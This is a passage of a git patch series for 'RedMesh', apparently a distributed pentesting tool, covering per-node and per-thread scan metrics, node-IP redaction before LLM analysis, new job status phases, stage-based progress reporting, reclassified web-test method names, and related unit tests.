this node's public IP (from location_data) for UI display + location_data = self.global_shmem.get('location_data') or {} + public_ip = location_data.get('ip') + report["node_ip"] = public_ip or self.log.get_localhost_ip() + self.P(f"[CLOSE_JOB] Stamped node_ip={report['node_ip']} on report for job {job_id} (source={'location_data' if public_ip else 'localhost'})") + # Redact credentials before persisting job_config = self._get_job_config(job_specs) redact = job_config.get("redact_credentials", True) @@ -1879,6 +1892,7 @@ def _maybe_finalize_pass(self): ports_scanned=report.get("ports_scanned", 0), open_ports=report.get("open_ports", []), nr_findings=nr_findings, + node_ip=report.get("node_ip", ""), ).to_dict() # 6. STORE aggregated report as separate CID @@ -1907,11 +1921,17 @@ def _maybe_finalize_pass(self): if should_submit_attestation: try: + # Collect node IPs from worker reports for attestation + attestation_node_ips = [ + r.get("node_ip") for r in node_reports.values() + if r.get("node_ip") + ] redmesh_test_attestation = self._submit_redmesh_test_attestation( job_id=job_id, job_specs=job_specs, workers=workers, - vulnerability_score=risk_score + vulnerability_score=risk_score, + node_ips=attestation_node_ips, ) if redmesh_test_attestation is not None: job_specs["last_attestation_at"] = now_ts diff --git a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py index 7401ee3a..770b8cc0 100644 --- a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py +++ b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py @@ -266,8 +266,8 @@ def _run_aggregated_llm_analysis( self.P(f"No data to analyze for job {job_id}", color='y') return None - # Add job metadata to report for context - report_with_meta = dict(aggregated_report) + # Add job metadata to report for context (strip node_ip — never send to LLM) + report_with_meta = {k: v for k, v in aggregated_report.items() if k != "node_ip"} report_with_meta["_job_metadata"] = { "job_id": job_id, "target": target, @@ -325,8 +325,8 @@ def _run_quick_summary_analysis( self.P(f"No data for quick summary for job {job_id}", color='y') return None - # Add job metadata to report for context - report_with_meta = dict(aggregated_report) + # Add job metadata to report for context (strip node_ip — never send to LLM) + report_with_meta = {k: v for k, v in aggregated_report.items() if k != "node_ip"} report_with_meta["_job_metadata"] = { "job_id": job_id, "target": target, From 69e5b6d7fafdd81c13640662e73ba5c23bb83262 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 9 Mar 2026 20:15:44 +0000 Subject: [PATCH 037/114] feat: display thread-level ports info and stats --- .../cybersec/red_mesh/models/archive.py | 4 ++ .../cybersec/red_mesh/pentester_api_01.py | 46 +++++++++++++++---- .../cybersec/red_mesh/test_redmesh.py | 2 +- 3 files changed, 41 insertions(+), 11 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/models/archive.py b/extensions/business/cybersec/red_mesh/models/archive.py index dea346f2..feb88961 100644 --- a/extensions/business/cybersec/red_mesh/models/archive.py +++ b/extensions/business/cybersec/red_mesh/models/archive.py @@ -150,6 +150,9 @@ class PassReport: # Scan metrics (pass-level aggregate across all nodes) scan_metrics: dict = None # ScanMetrics.to_dict() + # Per-node scan metrics (node_address -> ScanMetrics.to_dict()) + worker_scan_metrics: dict = None + # Attestation redmesh_test_attestation: dict = None @@ -172,6 +175,7 @@ def from_dict(cls, d: dict) -> PassReport: llm_failed=d.get("llm_failed"), findings=d.get("findings"), scan_metrics=d.get("scan_metrics"), + worker_scan_metrics=d.get("worker_scan_metrics"), redmesh_test_attestation=d.get("redmesh_test_attestation"), ) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index f76101f3..336f22cf 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1152,6 +1152,22 @@ def _close_job(self, job_id, canceled=False): thread_metrics[0] if len(thread_metrics) == 1 else self._merge_worker_metrics(thread_metrics) ) + # Store per-thread metrics with port info for UI drill-down + thread_scan_metrics = {} + for lwid, lr in local_reports.items(): + if lr.get("scan_metrics"): + entry = { + "scan_metrics": lr["scan_metrics"], + "ports_scanned": lr.get("ports_scanned", 0), + "open_ports": lr.get("open_ports", []), + } + # For sequential port order, start/end form a contiguous range + if lr.get("start_port") is not None and lr.get("end_port") is not None: + entry["start_port"] = lr["start_port"] + entry["end_port"] = lr["end_port"] + thread_scan_metrics[lwid] = entry + if thread_scan_metrics: + report["thread_scan_metrics"] = thread_scan_metrics raw_job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) if raw_job_specs is None: self.P(f"Job {job_id} no longer present in chainstore; skipping close sync.", color='r') @@ -1945,8 +1961,16 @@ def _maybe_finalize_pass(self): color='r' ) - # 8. MERGE SCAN METRICS across nodes - node_metrics = [r.get("scan_metrics") for r in node_reports.values() if r.get("scan_metrics")] + # 8. MERGE SCAN METRICS across nodes + store per-node/per-thread metrics + worker_scan_metrics = {} + for addr, report in node_reports.items(): + if report.get("scan_metrics"): + entry = {"scan_metrics": report["scan_metrics"]} + # Attach per-thread breakdown if available + if report.get("thread_scan_metrics"): + entry["threads"] = report["thread_scan_metrics"] + worker_scan_metrics[addr] = entry + node_metrics = [e["scan_metrics"] for e in worker_scan_metrics.values()] pass_metrics = None if node_metrics: pass_metrics = node_metrics[0] if len(node_metrics) == 1 else self._merge_worker_metrics(node_metrics) @@ -1966,6 +1990,7 @@ def _maybe_finalize_pass(self): llm_failed=llm_failed, findings=flat_findings if flat_findings else None, scan_metrics=pass_metrics, + worker_scan_metrics=worker_scan_metrics if worker_scan_metrics else None, redmesh_test_attestation=redmesh_test_attestation, ) @@ -3321,15 +3346,17 @@ def _merge_worker_metrics(metrics_list): probe_bd[k] = v if probe_bd: merged["probe_breakdown"] = probe_bd - # Max total_duration + # Total duration: max across threads/nodes (they run in parallel) merged["total_duration"] = max(m.get("total_duration", 0) for m in metrics_list) - # Phase durations: max per phase (parallel threads, longest wins) - phase_durs = {} + # Phase durations: max per phase (threads/nodes run in parallel, so wall-clock + # time for each phase is the max across all of them) + all_phases = {} for m in metrics_list: - for k, v in (m.get("phase_durations") or {}).items(): - phase_durs[k] = max(phase_durs.get(k, 0), v) - if phase_durs: - merged["phase_durations"] = phase_durs + for phase, dur in (m.get("phase_durations") or {}).items(): + all_phases[phase] = max(all_phases.get(phase, 0), dur) + if all_phases: + merged["phase_durations"] = all_phases + longest = max(metrics_list, key=lambda m: m.get("total_duration", 0)) # Merge stats distributions (response_times, port_scan_delays) # Use weighted mean, global min/max, approximate p95/p99 from max of per-thread values for stats_field in ("response_times", "port_scan_delays"): @@ -3348,7 +3375,6 @@ def _merge_worker_metrics(metrics_list): "count": total_count, } # Success rate over time: take from the longest-running thread - longest = max(metrics_list, key=lambda m: m.get("total_duration", 0)) if longest.get("success_rate_over_time"): merged["success_rate_over_time"] = longest["success_rate_over_time"] # Detection flags (any thread detecting = True) diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 69f5d22b..e807b107 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -4406,7 +4406,7 @@ def test_merge_worker_metrics(self): self.assertEqual(merged["probe_breakdown"]["_service_info_http"], "completed") self.assertEqual(merged["probe_breakdown"]["_service_info_mysql"], "completed") self.assertEqual(merged["probe_breakdown"]["_web_test_xss"], "failed") # failed > completed - # Phase durations: max per phase + # Phase durations: max per phase (threads/nodes run in parallel) self.assertEqual(merged["phase_durations"]["port_scan"], 45.0) self.assertEqual(merged["phase_durations"]["fingerprint"], 10.0) self.assertEqual(merged["phase_durations"]["service_probes"], 20.0) From 89365db3e9d2c333bcf171c59462fc835cbed9fc Mon Sep 17 00:00:00 2001 From: toderian Date: Tue, 10 Mar 2026 10:41:04 +0000 Subject: [PATCH 038/114] fix: increase job check timeout --- extensions/business/cybersec/red_mesh/pentester_api_01.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 336f22cf..d3f19a50 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -18,7 +18,7 @@ "INSTANCES": [ { "INSTANCE_ID": "PENTESTER_API_01_DEFAULT", - "CHECK_JOBS_EACH": 5, + "CHECK_JOBS_EACH": 15, "NR_LOCAL_WORKERS": 4, "WARMUP_DELAY": 30 } @@ -79,7 +79,7 @@ "CHAINSTORE_PEERS": [], - "CHECK_JOBS_EACH" : 5, + "CHECK_JOBS_EACH" : 15, "REDMESH_VERBOSE" : 10, # Verbosity level for debug messages (0 = off, 1+ = debug) @@ -654,7 +654,7 @@ def _get_worker_entry(self, job_id, job_spec): """ workers = job_spec.setdefault("workers", {}) worker_entry = workers.get(self.ee_addr) - if worker_entry is None and job_id not in self._foreign_jobs_logged: + if worker_entry is None and workers and job_id not in self._foreign_jobs_logged: self._foreign_jobs_logged.add(job_id) self.Pd("No worker entry found for this node in job spec job_id={}, workers={}".format( job_id, From f75c98e6846d69a7776e68b52bbcb89ffd5fff1e Mon Sep 17 00:00:00 2001 From: toderian Date: Tue, 10 Mar 2026 12:44:14 +0000 Subject: [PATCH 039/114] feat: improve per-worker progress loader. Display per-thread status --- .../business/cybersec/red_mesh/constants.py | 14 +- .../cybersec/red_mesh/models/archive.py | 2 +- .../cybersec/red_mesh/models/cstore.py | 4 +- .../cybersec/red_mesh/pentester_api_01.py | 141 ++++++++++++++---- .../cybersec/red_mesh/test_redmesh.py | 71 ++++++++- 5 files changed, 195 insertions(+), 37 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index 8cc7c22e..a9c6eec2 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -105,6 +105,9 @@ # Job status constants JOB_STATUS_RUNNING = "RUNNING" +JOB_STATUS_COLLECTING = "COLLECTING" # Launcher merging worker reports +JOB_STATUS_ANALYZING = "ANALYZING" # Running LLM analysis +JOB_STATUS_FINALIZING = "FINALIZING" # Computing risk, writing archive JOB_STATUS_SCHEDULED_FOR_STOP = "SCHEDULED_FOR_STOP" JOB_STATUS_STOPPED = "STOPPED" JOB_STATUS_FINALIZED = "FINALIZED" @@ -235,4 +238,13 @@ # Live progress publishing # ===================================================================== -PROGRESS_PUBLISH_INTERVAL = 20 # seconds between progress updates to CStore +PROGRESS_PUBLISH_INTERVAL = 10 # seconds between progress updates to CStore + +# Scan phases in execution order (5 phases total) +PHASE_ORDER = ["port_scan", "fingerprint", "service_probes", "web_tests", "correlation"] +PHASE_MARKERS = { + "fingerprint": "fingerprint_completed", + "service_probes": "service_info_completed", + "web_tests": "web_tests_completed", + "correlation": "correlation_completed", +} diff --git a/extensions/business/cybersec/red_mesh/models/archive.py b/extensions/business/cybersec/red_mesh/models/archive.py index feb88961..2aa77402 100644 --- a/extensions/business/cybersec/red_mesh/models/archive.py +++ b/extensions/business/cybersec/red_mesh/models/archive.py @@ -191,7 +191,7 @@ class UiAggregate: total_open_ports: list # sorted unique [int] total_services: int total_findings: int - latest_risk_score: float + latest_risk_score: float = None # None while scan is in progress latest_risk_breakdown: dict = None # RiskBreakdown.to_dict() latest_quick_summary: str = None findings_count: dict = None # { CRITICAL: int, HIGH: int, MEDIUM: int, LOW: int, INFO: int } diff --git a/extensions/business/cybersec/red_mesh/models/cstore.py b/extensions/business/cybersec/red_mesh/models/cstore.py index d4fa6a44..fe17c87e 100644 --- a/extensions/business/cybersec/red_mesh/models/cstore.py +++ b/extensions/business/cybersec/red_mesh/models/cstore.py @@ -178,7 +178,7 @@ class WorkerProgress: job_id: str worker_addr: str pass_nr: int - progress: float # 0.0 - 100.0 + progress: float # 0.0 - 100.0 (stage-based: completed_stages/total * 100) phase: str # port_scan | fingerprint | service_probes | web_tests | correlation ports_scanned: int ports_total: int @@ -186,6 +186,7 @@ class WorkerProgress: completed_tests: list # [str] — which probes finished updated_at: float # unix timestamp live_metrics: dict = None # ScanMetrics.to_dict() — partial snapshot, progressively fills in + threads: dict = None # {thread_id: {phase, ports_scanned, ports_total, open_ports_found}} def to_dict(self) -> dict: return _strip_none(asdict(self)) @@ -204,4 +205,5 @@ def from_dict(cls, d: dict) -> WorkerProgress: completed_tests=d.get("completed_tests", []), updated_at=d.get("updated_at", 0), live_metrics=d.get("live_metrics"), + threads=d.get("threads"), ) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index d3f19a50..cc9d2012 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -45,6 +45,9 @@ from .constants import ( FEATURE_CATALOG, JOB_STATUS_RUNNING, + JOB_STATUS_COLLECTING, + JOB_STATUS_ANALYZING, + JOB_STATUS_FINALIZING, JOB_STATUS_SCHEDULED_FOR_STOP, JOB_STATUS_STOPPED, JOB_STATUS_FINALIZED, @@ -66,10 +69,26 @@ LOCAL_WORKERS_MAX, LOCAL_WORKERS_DEFAULT, PROGRESS_PUBLISH_INTERVAL, + PHASE_ORDER, + PHASE_MARKERS, ) __VER__ = '0.9.0' + +def _thread_phase(state): + """Determine which phase a single thread is currently in.""" + tests = set(state.get("completed_tests", [])) + if "correlation_completed" in tests: + return "done" + if "web_tests_completed" in tests: + return "correlation" + if "service_info_completed" in tests: + return "web_tests" + if "fingerprint_completed" in tests: + return "service_probes" + return "port_scan" + _CONFIG = { **BasePlugin.CONFIG, @@ -1137,6 +1156,36 @@ def _close_job(self, job_id, canceled=False): ------- None """ + # Publish a final "done" progress so the UI doesn't show stale stage data + local_workers_pre = self.scan_jobs.get(job_id) + if local_workers_pre: + total_scanned = 0 + total_ports = 0 + all_open = set() + for w in local_workers_pre.values(): + total_scanned += len(w.state.get("ports_scanned", [])) + total_ports += len(w.initial_ports) + all_open.update(w.state.get("open_ports", [])) + job_specs_pre = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) + pass_nr = job_specs_pre.get("job_pass", 1) if isinstance(job_specs_pre, dict) else 1 + done_progress = WorkerProgress( + job_id=job_id, + worker_addr=self.ee_addr, + pass_nr=pass_nr, + progress=100.0, + phase="done", + ports_scanned=total_scanned, + ports_total=total_ports, + open_ports_found=sorted(all_open), + completed_tests=[], + updated_at=self.time(), + ) + self.chainstore_hset( + hkey=f"{self.cfg_instance_id}:live", + key=f"{job_id}:{self.ee_addr}", + value=done_progress.to_dict(), + ) + local_workers = self.scan_jobs.pop(job_id, None) if local_workers: local_reports = { @@ -1673,7 +1722,7 @@ def _compute_ui_aggregate(self, passes, latest_aggregated): findings_count=findings_count if findings_count else None, top_findings=top_findings if top_findings else None, finding_timeline=finding_timeline if finding_timeline else None, - latest_risk_score=latest.get("risk_score", 0), + latest_risk_score=latest.get("risk_score"), latest_risk_breakdown=latest.get("risk_breakdown"), latest_quick_summary=latest.get("quick_summary"), worker_activity=[ @@ -1836,7 +1885,7 @@ def _maybe_finalize_pass(self): job_id = job_specs.get("job_id") pass_reports = job_specs.setdefault("pass_reports", []) - # Skip jobs that are already finalized or stopped + # Skip jobs that are already finalized, stopped, or mid-finalization if job_status in (JOB_STATUS_FINALIZED, JOB_STATUS_STOPPED): # Stuck recovery: if no job_cid, the archive build failed previously — retry # But only if there are pass reports to build from (hard-stopped jobs @@ -1845,6 +1894,8 @@ def _maybe_finalize_pass(self): self.P(f"[STUCK RECOVERY] {job_id} is {job_status} but has no job_cid — retrying archive build", color='y') self._build_job_archive(job_id, job_specs) continue + if job_status in (JOB_STATUS_COLLECTING, JOB_STATUS_ANALYZING, JOB_STATUS_FINALIZING): + continue if all_finished and next_pass_at is None: # ═══════════════════════════════════════════════════ @@ -1854,6 +1905,10 @@ def _maybe_finalize_pass(self): pass_date_completed = self.time() now_ts = pass_date_completed + # --- COLLECTING: merge worker reports --- + job_specs["job_status"] = JOB_STATUS_COLLECTING + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) + # 1. AGGREGATE ONCE — fetch node reports from R1FS and merge node_reports = self._collect_node_reports(workers) aggregated = self._get_aggregated_report(node_reports) if node_reports else {} @@ -1868,11 +1923,13 @@ def _maybe_finalize_pass(self): job_specs["risk_score"] = risk_score self.P(f"Risk score for job {job_id} pass {job_pass}: {risk_score}/100") - # 3. LLM ANALYSIS (receives pre-aggregated data, no re-fetch) + # --- ANALYZING: LLM analysis --- job_config = self._get_job_config(job_specs) llm_text = None summary_text = None if self.cfg_llm_agent_api_enabled and aggregated: + job_specs["job_status"] = JOB_STATUS_ANALYZING + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) llm_text = self._run_aggregated_llm_analysis(job_id, aggregated, job_config) summary_text = self._run_quick_summary_analysis(job_id, aggregated, job_config) @@ -2003,6 +2060,10 @@ def _maybe_finalize_pass(self): # 11. UPDATE CStore with lightweight PassReportRef pass_reports.append(PassReportRef(job_pass, pass_report_cid, risk_score).to_dict()) + # --- FINALIZING: writing archive --- + job_specs["job_status"] = JOB_STATUS_FINALIZING + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) + # Handle SINGLEPASS - set FINALIZED, build archive, prune CStore if run_mode == RUN_MODE_SINGLEPASS: job_specs["job_status"] = JOB_STATUS_FINALIZED @@ -2693,7 +2754,12 @@ def get_job_progress(self, job_id: str): if key.startswith(prefix) and value is not None: worker_addr = key[len(prefix):] result[worker_addr] = value - return {"job_id": job_id, "workers": result} + # Include job status so the frontend knows when to reload full data + job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) + status = None + if isinstance(job_specs, dict): + status = job_specs.get("status") + return {"job_id": job_id, "status": status, "workers": result} @BasePlugin.endpoint def list_network_jobs(self): @@ -3399,10 +3465,14 @@ def _merge_worker_metrics(metrics_list): def _publish_live_progress(self): """ - Publish aggregated live progress for all active local scan jobs. + Publish live progress for all active local scan jobs. + + Builds per-thread progress data and writes a single WorkerProgress entry + per job to the `:live` CStore hset. Called periodically from process(). - Aggregates thread-level stats into one WorkerProgress entry per job - and writes to the `:live` CStore hset. Called periodically from process(). + Progress is stage-based (stage_idx / 5 * 100) with port-scan sub-progress. + Phase is the earliest (least advanced) phase across all threads. + Per-thread data (phase, ports) is included when multiple threads are active. """ now = self.time() if now - self._last_progress_publish < PROGRESS_PUBLISH_INTERVAL: @@ -3412,39 +3482,53 @@ def _publish_live_progress(self): live_hkey = f"{self.cfg_instance_id}:live" ee_addr = self.ee_addr + nr_phases = len(PHASE_ORDER) + for job_id, local_workers in self.scan_jobs.items(): if not local_workers: continue - # Aggregate across all local threads + # Build per-thread data total_scanned = 0 total_ports = 0 all_open = set() all_tests = set() - all_done = True - + thread_entries = {} + thread_phases = [] worker_metrics = [] - for worker in local_workers.values(): + + for tid, worker in local_workers.items(): state = worker.state - total_scanned += len(state.get("ports_scanned", [])) - total_ports += len(worker.initial_ports) - all_open.update(state.get("open_ports", [])) + nr_ports = len(worker.initial_ports) + t_scanned = len(state.get("ports_scanned", [])) + t_open = sorted(state.get("open_ports", [])) + t_phase = _thread_phase(state) + + total_scanned += t_scanned + total_ports += nr_ports + all_open.update(t_open) all_tests.update(state.get("completed_tests", [])) - if not state.get("done"): - all_done = False worker_metrics.append(worker.metrics.build().to_dict()) + thread_phases.append(t_phase) - # Determine current phase from completed_tests - if "correlation_completed" in all_tests: - phase = "done" - elif "web_tests_completed" in all_tests: - phase = "correlation" - elif "service_info_completed" in all_tests: - phase = "web_tests" - elif "fingerprint_completed" in all_tests: - phase = "service_probes" - else: - phase = "port_scan" + thread_entries[tid] = { + "phase": t_phase, + "ports_scanned": t_scanned, + "ports_total": nr_ports, + "open_ports_found": t_open, + } + + # Overall phase: earliest (least advanced) across threads + phase_indices = [PHASE_ORDER.index(p) if p in PHASE_ORDER else nr_phases for p in thread_phases] + min_phase_idx = min(phase_indices) if phase_indices else 0 + phase = PHASE_ORDER[min_phase_idx] if min_phase_idx < nr_phases else "done" + + # Stage-based progress: completed_stages / total * 100 + # During port_scan, add sub-progress based on ports scanned + stage_progress = (min_phase_idx / nr_phases) * 100 + if phase == "port_scan" and total_ports > 0: + stage_progress += (total_scanned / total_ports) * (100 / nr_phases) + progress_pct = round(min(stage_progress, 100), 1) # Look up pass number from CStore job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) @@ -3459,7 +3543,7 @@ def _publish_live_progress(self): job_id=job_id, worker_addr=ee_addr, pass_nr=pass_nr, - progress=round((total_scanned / total_ports) * 100, 1) if total_ports else 0, + progress=progress_pct, phase=phase, ports_scanned=total_scanned, ports_total=total_ports, @@ -3467,6 +3551,7 @@ def _publish_live_progress(self): completed_tests=sorted(all_tests), updated_at=now, live_metrics=merged_metrics, + threads=thread_entries if len(thread_entries) > 1 else None, ) self.chainstore_hset( hkey=live_hkey, diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index e807b107..4ff4c473 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -2972,8 +2972,12 @@ def test_aggregated_report_write_failure(self): # CStore should NOT have pass_reports appended self.assertEqual(len(job_specs["pass_reports"]), 0) - # CStore hset should NOT have been called for finalization - plugin.chainstore_hset.assert_not_called() + # CStore hset was called for intermediate status updates (COLLECTING, ANALYZING, FINALIZING) + # but NOT for finalization — verify job_status is NOT FINALIZED in the last write + for call_args in plugin.chainstore_hset.call_args_list: + value = call_args.kwargs.get("value") or call_args[1].get("value") if len(call_args) > 1 else None + if isinstance(value, dict): + self.assertNotEqual(value.get("job_status"), "FINALIZED") def test_pass_report_write_failure(self): """R1FS fails for pass report → CStore pass_reports not appended.""" @@ -2999,8 +3003,11 @@ def test_pass_report_write_failure(self): # CStore should NOT have pass_reports appended self.assertEqual(len(job_specs["pass_reports"]), 0) - # CStore hset should NOT have been called for finalization - plugin.chainstore_hset.assert_not_called() + # CStore hset was called for status updates but NOT for finalization + for call_args in plugin.chainstore_hset.call_args_list: + value = call_args.kwargs.get("value") or call_args[1].get("value") if len(call_args) > 1 else None + if isinstance(value, dict): + self.assertNotEqual(value.get("job_status"), "FINALIZED") def test_cstore_risk_score_updated(self): """After pass, risk_score on CStore matches pass result.""" @@ -3779,7 +3786,7 @@ def test_get_job_progress_empty(self): self.assertEqual(result["workers"], {}) def test_publish_live_progress(self): - """_publish_live_progress writes progress to CStore :live hset.""" + """_publish_live_progress writes stage-based progress to CStore :live hset.""" Plugin = self._get_plugin_class() plugin = MagicMock() plugin.cfg_instance_id = "test-instance" @@ -3787,7 +3794,7 @@ def test_publish_live_progress(self): plugin._last_progress_publish = 0 plugin.time.return_value = 100.0 - # Mock a local worker with state + # Mock a local worker with state (port scan partial + fingerprint done) worker = MagicMock() worker.state = { "ports_scanned": list(range(100)), @@ -3818,6 +3825,58 @@ def test_publish_live_progress(self): self.assertEqual(progress_data["ports_total"], 512) self.assertIn(22, progress_data["open_ports_found"]) self.assertIn(80, progress_data["open_ports_found"]) + # Stage-based progress: service_probes = stage 3 (idx 2), so 2/5*100 = 40% + self.assertEqual(progress_data["progress"], 40.0) + # Single thread — no threads field + self.assertNotIn("threads", progress_data) + + def test_publish_live_progress_multi_thread_phase(self): + """Phase is the earliest active phase; per-thread data is included.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-A" + plugin._last_progress_publish = 0 + plugin.time.return_value = 100.0 + + # Thread 1: fully done + worker1 = MagicMock() + worker1.state = { + "ports_scanned": list(range(256)), + "open_ports": [22], + "completed_tests": ["fingerprint_completed", "service_info_completed", "web_tests_completed", "correlation_completed"], + "done": True, + } + worker1.initial_ports = list(range(1, 257)) + + # Thread 2: still on port scan (50 of 256 ports) + worker2 = MagicMock() + worker2.state = { + "ports_scanned": list(range(50)), + "open_ports": [], + "completed_tests": [], + "done": False, + } + worker2.initial_ports = list(range(257, 513)) + + plugin.scan_jobs = {"job-1": {"t1": worker1, "t2": worker2}} + plugin.chainstore_hget.return_value = {"job_pass": 1} + + Plugin._publish_live_progress(plugin) + + call_args = plugin.chainstore_hset.call_args + progress_data = call_args.kwargs["value"] + # Phase should be port_scan (earliest across threads), not done + self.assertEqual(progress_data["phase"], "port_scan") + # Stage-based: port_scan (idx 0) + sub-progress (306/512 * 20%) = ~12% + self.assertGreater(progress_data["progress"], 10) + self.assertLess(progress_data["progress"], 15) + # Per-thread data should be present (2 threads) + self.assertIn("threads", progress_data) + self.assertEqual(progress_data["threads"]["t1"]["phase"], "done") + self.assertEqual(progress_data["threads"]["t2"]["phase"], "port_scan") + self.assertEqual(progress_data["threads"]["t2"]["ports_scanned"], 50) + self.assertEqual(progress_data["threads"]["t2"]["ports_total"], 256) def test_clear_live_progress(self): """_clear_live_progress deletes progress keys for all workers.""" From 6c2cf8d18743179e2d053c7c9977cf71b5d9a3fb Mon Sep 17 00:00:00 2001 From: toderian Date: Tue, 10 Mar 2026 13:43:40 +0000 Subject: [PATCH 040/114] fix: tests classification --- extensions/business/cybersec/red_mesh/constants.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index a9c6eec2..c426cc46 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -55,23 +55,23 @@ { "id": "web_hardening", "label": "Hardening audit", - "description": "Audit cookie flags, security headers, CORS policy, redirect handling, and HTTP methods (OWASP WSTG-CONF).", + "description": "Audit cookie flags, security headers, CORS policy, CSRF tokens, and HTTP methods (OWASP WSTG-CONF).", "category": "web", - "methods": ["_web_test_flags", "_web_test_security_headers", "_web_test_cors_misconfiguration", "_web_test_open_redirect", "_web_test_http_methods", "_web_test_csrf"] + "methods": ["_web_test_flags", "_web_test_security_headers", "_web_test_cors_misconfiguration", "_web_test_http_methods", "_web_test_csrf"] }, { "id": "web_api_exposure", "label": "API exposure", "description": "Detect GraphQL introspection leaks, cloud metadata endpoints, and API auth bypass (OWASP WSTG-APIT).", "category": "web", - "methods": ["_web_test_graphql_introspection", "_web_test_metadata_endpoints", "_web_test_api_auth_bypass", "_web_test_ssrf_basic"] + "methods": ["_web_test_graphql_introspection", "_web_test_metadata_endpoints", "_web_test_api_auth_bypass"] }, { "id": "web_injection", "label": "Injection probes", - "description": "Non-destructive probes for path traversal, reflected XSS, and SQL injection (OWASP WSTG-INPV).", + "description": "Non-destructive probes for path traversal, reflected XSS, SQL injection, SSRF, and open redirect (OWASP WSTG-INPV).", "category": "web", - "methods": ["_web_test_path_traversal", "_web_test_xss", "_web_test_sql_injection", "_web_test_ssti", "_web_test_shellshock", "_web_test_php_cgi", "_web_test_ognl_injection", "_web_test_java_deserialization", "_web_test_spring_actuator"] + "methods": ["_web_test_path_traversal", "_web_test_xss", "_web_test_sql_injection", "_web_test_ssti", "_web_test_shellshock", "_web_test_php_cgi", "_web_test_ognl_injection", "_web_test_java_deserialization", "_web_test_spring_actuator", "_web_test_open_redirect", "_web_test_ssrf_basic"] }, { "id": "web_auth_design", From f3b467f281d9a2910f7cec6e2dfa79d60cd6ce95 Mon Sep 17 00:00:00 2001 From: toderian Date: Tue, 10 Mar 2026 13:49:38 +0000 Subject: [PATCH 041/114] fix: move metrix collector to a separate file --- .../cybersec/red_mesh/pentest_worker.py | 187 +----------------- 1 file changed, 1 insertion(+), 186 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentest_worker.py b/extensions/business/cybersec/red_mesh/pentest_worker.py index c1f056a4..a496b006 100644 --- a/extensions/business/cybersec/red_mesh/pentest_worker.py +++ b/extensions/business/cybersec/red_mesh/pentest_worker.py @@ -17,192 +17,7 @@ ) from .web_mixin import _WebTestsMixin -from .models.shared import ScanMetrics -import math -import statistics - - -class MetricsCollector: - """Collects raw scan timing and outcome data during a worker scan.""" - - def __init__(self): - self._phase_starts = {} - self._phase_ends = {} - self._connection_outcomes = {"connected": 0, "timeout": 0, "refused": 0, "reset": 0, "error": 0} - self._response_times = [] - self._port_scan_delays = [] - self._probe_results = {} - self._scan_start = None - self._ports_in_range = 0 - self._ports_scanned = 0 - self._ports_skipped = 0 - self._open_ports = [] - self._open_port_details = [] # [{"port": int, "protocol": str, "banner_confirmed": bool}] - self._service_counts = {} - self._banner_confirmed = 0 - self._banner_guessed = 0 - self._finding_counts = {} - # For success rate over time windows - self._connection_log = [] # [(timestamp, success_bool)] - - def start_scan(self, ports_in_range: int): - self._scan_start = time.time() - self._ports_in_range = ports_in_range - - def phase_start(self, phase: str): - self._phase_starts[phase] = time.time() - - def phase_end(self, phase: str): - self._phase_ends[phase] = time.time() - - def record_connection(self, outcome: str, response_time: float): - self._connection_outcomes[outcome] = self._connection_outcomes.get(outcome, 0) + 1 - if response_time >= 0: - self._response_times.append(response_time) - self._connection_log.append((time.time(), outcome == "connected")) - self._ports_scanned += 1 - - def record_port_scan_delay(self, delay: float): - self._port_scan_delays.append(delay) - - def record_probe(self, probe_name: str, result: str): - self._probe_results[probe_name] = result - - def record_open_port(self, port: int, protocol: str = None, banner_confirmed: bool = False): - self._open_ports.append(port) - self._open_port_details.append({"port": port, "protocol": protocol or "unknown", "banner_confirmed": banner_confirmed}) - if banner_confirmed: - self._banner_confirmed += 1 - else: - self._banner_guessed += 1 - if protocol: - self._service_counts[protocol] = self._service_counts.get(protocol, 0) + 1 - - def record_finding(self, severity: str): - self._finding_counts[severity] = self._finding_counts.get(severity, 0) 